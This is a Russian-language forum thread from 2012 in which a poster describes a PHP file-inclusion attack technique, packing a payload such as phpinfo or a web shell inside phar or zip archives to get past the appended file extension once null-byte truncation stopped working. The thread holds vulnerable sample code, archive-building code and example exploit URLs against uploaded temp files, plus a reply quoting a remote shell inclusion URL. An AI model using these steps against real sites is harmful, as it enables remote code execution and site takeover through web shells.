Небольшое добавление к технике инклудов.

Discussion in 'Кухня' started by nikp, 18 Jun 2012.

  1. nikp

    nikp Banned

    Joined:
    19 Sep 2008
    Messages:
    328
    Likes Received:
    591
    Reputations:
    764
    Небольшое добавление к технике инклудов.

    Начиная с PHP версии 5.3.4 стало проблемно работать с инклудами, у которых присутствует "хвост".
    С другой стороны, в линейке 5.3, появилась штатная поддержка архивов phar.
    В случае RFI, появилась возможность не отрезать лишний хвост, а спрятать его внутри архива.

    Пример:
    in2.php
    PHP:
    <?
    include(
    $_GET['pic'].'.gif');
    ?>
    Создадим архив phar с файлом bla.gif
    для создания нужно в php.ini установить: phar.readonly = Off

    PHP:
    //создадим архив in.phar
    $p = new Phar('in.phar');
    $p->setStub('<?php Phar::mapPhar();__HALT_COMPILER(); ?>');
    $p['bla.gif'] = '<?phpinfo();?>';
    //или
    //$p['bla.gif'] = file_get_contents('shell.php');
    Инклудим
    http://localhost/in.php?pic=phar://in.phar/bla

    Это может быть и zip или tar архив, конвертнем
    PHP:
    $p $p->convertToExecutable(Phar::ZIP);
    Инклудим
    http://localhost/in.php?pic=phar://in.phar.zip/bla

    Хвост может быть длинным, тогда в каталоге arc создаем нужную структуру файлов, например /tmp/arc/Bla/bla2/file.ext
    и добавляем в архив
    PHP:
    //вторым параметром можно указать регулярку для отбора файлов 
    //каталоги и файлы в архиве - чувствительны к регистру (даже для винды)
    $p->buildFromDirectory('/tmp/arc/','/.*/');
    для родного формата phar, расширение не обязательно, или любое.
    Для zip обязательна подстрока .zip (bla.zip, bla.zip.php и т.д.)

    После аплоада получаются файлы без расширения, типа phpKuAoU3

    Инклудим
    Code:
    http://localhost/in.php?pic=phar:///tmp/phpKuAoU3/bla
    Можно грузить zip архив и использовать обертку zip:// (почти везде установлена, поддерживается много раньше phar://)
    Code:
    http://localhost/in.php?pic=zip:///tmp/phpKuAoU3%23bla
    Способ не зависит от настроек
    allow_url_fopen
    allow_url_include
    magic_quotes_gpc

    а зависимостей две
    - можем влиять на начало строки инклуда
    - можем приготовить файл произвольного содержания, имя не важно.

    Про zip:// подробнее можно посмотреть у Алексея Москвина (Positive Technologies).

    PS
    К архиву in.phar можно обратиться
    PHP:
    include('phar://in.phar');
    //или напрямую
    include('in.phar');
    //а вот к файлу внутри архива, только через обертку
    include('phar://in.phar/bla.gif');
    Если найдется способ прямого обращения к файлу архива, будет решена проблема хвоста и в LFI.
     
    #1 nikp, 18 Jun 2012
    Last edited: 18 Jun 2012
    Telariust, [ Dumi ], BigBear and 5 others like this.
  2. попугай

    попугай Elder - Старейшина

    Joined:
    15 Jan 2008
    Messages:
    1,588
    Likes Received:
    406
    Reputations:
    196
    То есть в новых версиях такое уже не работает?

    PHP:
    Scr.php?page=http://site.com/shell.php?
    То есть, вопросом не обрезать?
     
  3. nikp

    nikp Banned

    Joined:
    19 Sep 2008
    Messages:
    328
    Likes Received:
    591
    Reputations:
    764
    Удобнее считать, что RFI - это возможность влиять на начало строки инклуда, т.е.
    PHP:
    $f=$_REQUEST["f"];
    include 
    "$f.gif";     //RFI
    include "./$f.gif";     //LFI
    т.е. возможность проинклудить удаленный файл - частный случай RFI, в общем случае RFI - это возможность обратиться к подключаемому файлу,
    как по имени, так и через враппер (http, ftp, php, data, file, glob и т.д. http://php.net/manual/en/wrappers.php.php )

    Имелось в виду, что начиная с PHP версии 5.3.4, обрезать хвост с помощью NULL-byte или альтернативно /././.... - не получится.

    Поэтому предлагается для локального файла не обрезать мешающий хвост строки инклуда, а сформировать его внутри архива,
    тогда ошибки не происходит и нормально инклудим приготовленную начинку.
     
    1 person likes this.
  4. Telariust

    Telariust Member

    Joined:
    25 Jan 2016
    Messages:
    11
    Likes Received:
    18
    Reputations:
    2